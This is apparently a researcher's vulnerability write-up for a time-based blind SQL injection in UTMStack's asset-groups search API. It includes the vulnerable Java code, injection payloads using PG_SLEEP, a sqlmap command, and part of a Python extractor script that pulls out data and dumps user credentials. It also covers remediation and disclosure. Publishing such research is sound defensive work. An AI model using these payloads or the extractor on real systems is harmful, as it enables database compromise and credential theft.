HIGH · 8.6 UTMStackCVEVulnerability Research

CVE-2026-82039: SQL Injection in UTMStack Asset Groups Search

A time-based blind SQL injection vulnerability in UTMStack allows authenticated users to execute arbitrary SQL queries against PostgreSQL, enabling full database compromise including credential extraction.

Adam NurudiniAdam Nurudini 11 OCT 2026 9 min read CVE-2026-82039
CVE-2026-82039: SQL Injection in UTMStack Asset Groups Search
⚡
TL;DR

UTMStack's /api/utm-asset-groups/searchGroupsByFilter endpoint directly concatenates user input into SQL queries using String.format(). Inject a PG_SLEEP() payload via the assetType parameter — time-based blind SQLi with DBA privileges confirmed.

Introduction

This vulnerability represents a classic but critical SQL injection flaw in UTMStack, an open-source SIEM and XDR platform. The searchGroupsByFilter endpoint constructs SQL queries through direct string concatenation, allowing any authenticated user to execute arbitrary SQL against the PostgreSQL backend.

What makes this particularly severe: the database user runs with superuser (DBA) privileges, meaning an attacker can read credentials, modify security configurations, and potentially escalate to system-level access.

Root Cause

Direct String Concatenation in Query Builder

The vulnerability exists in UtmAssetGroupService.java where the searchQueryBuilder() method uses String.format() to insert user-controlled values directly into SQL:

javaUtmAssetGroupService.java · searchQueryBuilder()
private String searchQueryBuilder(AssetGroupFilter filters) {
    StringBuilder sb = new StringBuilder();
<span class="c">// Line 125: Direct concatenation with user input!</span>
sb.append(String.format(
    "SELECT DISTINCT utm_asset_group.* FROM utm_asset_group " +
    "LEFT JOIN utm_network_scan ON utm_asset_group.id = utm_network_scan.group_id " +
    "where type = <span class="bad">'%s'</span>\n", 
    <span class="bad">filters.getAssetType()</span>));

<span class="c">// Line 139-143: groupName also vulnerable</span>
<span class="k">if</span> (StringUtils.hasText(filters.getGroupName())) {
    sb.append(where ? "WHERE " : "AND ")
        .append(String.format(
            "lower(utm_asset_group.group_name) LIKE <span class="bad">'%%%1$s%%'</span>\n",
            <span class="bad">filters.getGroupName().toLowerCase()</span>));
}
<span class="c">// ...</span>

}

⚠️
Multiple Injection Points

The same vulnerable pattern appears for type, probe, os, assetIp, and assetName parameters at lines 149, 157, 166, 175, 184, and 193. Any of these can be exploited.

Why This Pattern is Dangerous

The code validates nothing about the input values. When a user sends:

assetType=SERVER' AND 1=(SELECT 1 FROM PG_SLEEP(5))--

The resulting SQL becomes:

SELECT DISTINCT utm_asset_group.* FROM utm_asset_group 
LEFT JOIN utm_network_scan ON utm_asset_group.id = utm_network_scan.group_id 
WHERE type = 'SERVER' AND 1=(SELECT 1 FROM PG_SLEEP(5))--'

The injected PG_SLEEP(5) executes before the query returns, creating a measurable delay.

Proof of Concept

Prerequisites

  • Any authenticated user account
  • Target: UTMStack v11.2.13 (tested on default deployment)
  • Injection type: Time-based blind only (Error-based, UNION-based, and Stacked queries do NOT work)

Step 1: Establish Baseline

First, measure normal response time with a valid request:

httpbaseline request
GET /api/utm-asset-groups/searchGroupsByFilter?assetType=SERVER HTTP/1.1
Host: localhost:9999
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9...
Baseline request showing normal 200 OK response
Normal response in ~10ms establishes baseline timing

Response Time: 0.01s — This is our baseline for comparison.

Step 2: Trigger SQL Error

Inject a single quote to break SQL syntax and confirm input reaches the query parser:

httperror trigger
GET /api/utm-asset-groups/searchGroupsByFilter?assetType=SERVER' HTTP/1.1
Host: localhost:9999
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9...
SQL error response showing SQLGrammarException
HTTP 500 with SQLGrammarException confirms unfiltered input reaches SQL parser

The SQLGrammarException: could not prepare statement confirms our input is directly concatenated into the SQL query without sanitization.

Step 3: Time-Based Injection

Now inject a PG_SLEEP() payload to confirm code execution:

httptime-based injection
GET /api/utm-asset-groups/searchGroupsByFilter?assetType=SERVER' AND 9101=(SELECT 9101 FROM PG_SLEEP(5)) AND 'x'='x HTTP/1.1
Host: localhost:9999
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9...

Response Time: 10.03s — The 5-second sleep executed twice (once per query branch), confirming arbitrary SQL execution.

Step 4: Automated Exploitation with sqlmap

bashsqlmap verification
sqlmap -u "http://localhost:9999/api/utm-asset-groups/searchGroupsByFilter?assetType=SERVER" \
    --headers="Authorization: Bearer eyJhbGciOiJIUzUxMiJ9..." \
    --dbms=postgresql \
    --technique=T \
    --batch \
    --is-dba
sqlmap output confirming DBA privileges
sqlmap confirms time-based blind injection with DBA=True — superuser access

Key findings from sqlmap:

  • Parameter: assetType (GET) is injectable
  • Type: PostgreSQL > 8.1 AND time-based blind
  • Payload: assetType=SERVER' AND 5737=(SELECT 5737 FROM PG_SLEEP(5)) AND 'LmGb'='LmGb
  • Current user is DBA: True — Database user has superuser privileges

Step 5: Data Extraction with Custom Exploit

I developed a custom Python exploit for efficient time-based data extraction using binary search:

Custom exploit extracting database information
sqli-extractor.py extracting database name, user, and version via time-based blind injection
bashrunning the exploit
python3 sqli-extractor.py --action info

# Output: [*] Baseline: 0.51s (threshold for injection) [+] Is DBA: True [+] Database: utmstack [+] User: postgres [+] Version: PostgreSQL 13.15 (Debian 13.15-1...

The full exploit script supports:

  • Database enumeration (--action info)
  • Table listing (--action tables)
  • Column enumeration (--action columns --table <name>)
  • User credential dumping (--action dump-users)
  • Custom SQL extraction (--action custom --query "<SQL>")
View Full Exploit Code (sqli-extractor.py)
pythonsqli-extractor.py
#!/usr/bin/env python3
"""
CVE-2026-82039 - Time-Based Blind SQL Injection Data Extractor
UTMStack /api/utm-asset-groups/searchGroupsByFilter
"""

import requests import time import sys import argparse from urllib.parse import quote

class SQLiExtractor: def init(self, base_url, token, delay=3, timeout=15, retries=3): self.base_url = base_url self.headers = {"Authorization": f"Bearer {token}"} self.delay = delay self.timeout = timeout self.retries = retries self.baseline = None

def get_baseline(self):
    """Measure baseline response time"""
    times = []
    for _ in range(3):
        start = time.time()
        try:
            r = requests.get(
                f"{self.base_url}?assetType=SERVER",
                headers=self.headers,
                timeout=self.timeout
            )
            times.append(time.time() - start)
        except:
            times.append(0.5)
    self.baseline = max(times) + 0.5
    print(f"[*] Baseline: {self.baseline:.2f}s")
    return self.baseline

def check_condition_direct(self, condition):
    """Direct conditional sleep"""
    payload = f"SERVER' AND (SELECT CASE WHEN ({condition}) THEN PG_SLEEP({self.delay}) ELSE PG_SLEEP(0) END) IS NOT NULL AND 'x'='x"
    return self.inject_timed(payload)

def inject_timed(self, payload):
    """Execute injection with precise timing"""
    url = f"{self.base_url}?assetType={quote(payload, safe='')}"
    for attempt in range(self.retries):
        try:
            start = time.time()
            r = requests.get(url, headers=self.headers, timeout=self.timeout)
            elapsed = time.time() - start
            if elapsed >= (self.delay - 0.5):
                return True
            return False
        except requests.exceptions.Timeout:
            return True
        except:
            if attempt < self.retries - 1:
                time.sleep(0.5)
    return False

def extract_char(self, query, position):
    """Extract single character using binary search"""
    expr = f"({query})" if query.strip().upper().startswith("SELECT") else query
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        condition = f"ASCII(SUBSTRING({expr},{position},1)) > {mid}"
        if self.check_condition_direct(condition):
            low = mid + 1
        else:
            high = mid
    return chr(low)

def extract_string(self, query, known_length=None):
    """Extract full string result"""
    if known_length is None:
        known_length = self.extract_length(query)
    result = ""
    for i in range(1, known_length + 1):
        char = self.extract_char(query, i)
        result += char
        sys.stdout.write(f"\r[+] Progress: {result}")
        sys.stdout.flush()
    print()
    return result

def is_dba(self):
    """Check if current user is superuser"""
    condition = "(SELECT usesuper FROM pg_user WHERE usename=current_user) = true"
    result = self.check_condition_direct(condition)
    print(f"[+] Is DBA: {result}")
    return result

Usage: python3 sqli-extractor.py -u "http://target/api/..." -t "JWT" --action info

Impact

An authenticated attacker can leverage this vulnerability to:

Confidentiality HIGH

Extract all database contents: user credentials, security configurations, alert data, and API keys.

Integrity HIGH

Modify user roles, tamper with security alerts, inject false positives, or disable detection rules.

Availability HIGH

Drop tables, execute resource-intensive queries, or corrupt the database rendering the SIEM unusable.

Attack Scenarios

  1. Credential Theft: Extract jhi_user table to obtain password hashes for offline cracking
  2. Blind SIEM: Modify detection rules to create blind spots for ongoing attacks
  3. Lateral Movement: Use extracted API keys or credentials to pivot to other systems
  4. Evidence Tampering: Delete or modify security logs to cover tracks

CVSS Breakdown

CVSS 3.1 Base Score: 8.6 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

MetricValueRationale
Attack Vector (AV)NetworkExploitable via HTTP API
Attack Complexity (AC)LowNo special conditions required
Privileges Required (PR)LowAny authenticated user
User Interaction (UI)NoneFully automated exploitation
Confidentiality (C)HighFull database access with DBA privileges
Integrity (I)HighCan modify any database content
Availability (A)HighCan drop tables or DoS the database

Remediation

✓
The Fix

Replace string concatenation with parameterized queries or JPA Criteria API. Never use String.format() for SQL construction.

Before (Vulnerable)

javavulnerable pattern
sb.append(String.format(
    "SELECT * FROM utm_asset_group WHERE type = '%s'", 
    filters.getAssetType()));

After (Fixed)

javaparameterized query
// Option 1: Native Query with Parameters
String sql = "SELECT * FROM utm_asset_group WHERE type = :assetType";
Query query = em.createNativeQuery(sql, UtmAssetGroup.class);
query.setParameter("assetType", filter.getAssetType());

// Option 2: JPA Criteria API (Recommended) CriteriaBuilder cb = em.getCriteriaBuilder(); CriteriaQuery<UtmAssetGroup> cq = cb.createQuery(UtmAssetGroup.class); Root<UtmAssetGroup> root = cq.from(UtmAssetGroup.class);

List<Predicate> predicates = new ArrayList<>(); if (filter.getAssetType() != null) { predicates.add(cb.equal(root.get("type"), filter.getAssetType())); } cq.where(predicates.toArray(new Predicate[0])); return em.createQuery(cq).getResultList();

1
Use Parameterized Queries

Replace all String.format() SQL construction with named parameters.

2
Input Validation

Implement allowlist validation for the assetType parameter (SERVER, WORKSTATION, etc.).

3
Least Privilege

Run the database connection with minimal required permissions, not as superuser.

4
Query Logging

Enable database query logging to detect anomalous patterns like PG_SLEEP().

5
WAF Rules

Deploy WAF rules to detect common SQL injection patterns in API parameters.

Timeline

  1. 10 Oct 2026
    Discovered

    Identified SQL injection in searchGroupsByFilter during code review.

  2. 10 Oct 2026
    Reproduced

    Confirmed time-based blind SQLi with DBA privileges on v11.2.13.

  3. 10 Oct 2026
    Reported

    Submitted via GitHub Security Advisory (GHSA draft).

  4. 11 Oct 2026
    CVE Assigned

    CVE-2026-82039 issued; writeup published.

The Lesson

SQL injection in 2026 should not exist. Yet here we are — a security platform vulnerable to the most documented attack class in web security history.

This vulnerability is a textbook example of CWE-89. The fix is well-understood and has been for decades: parameterized queries. What makes this case particularly concerning is that it exists in a security product — software designed to protect organizations from exactly these kinds of attacks.

The presence of multiple injection points (6+ parameters) suggests a systemic pattern rather than an isolated mistake. When reviewing Java applications, grep for String.format combined with SQL keywords — it's often a reliable indicator of injectable code.

References


This vulnerability was discovered through ethical security research and responsibly disclosed through GitHub Security Advisories. All exploitation was performed in isolated lab environments.

Adam Nurudini
Written by

Adam Nurudini

Offensive Security Consultant specializing in vulnerability research, penetration testing, and red team operations. Published CVE author.

Back to all posts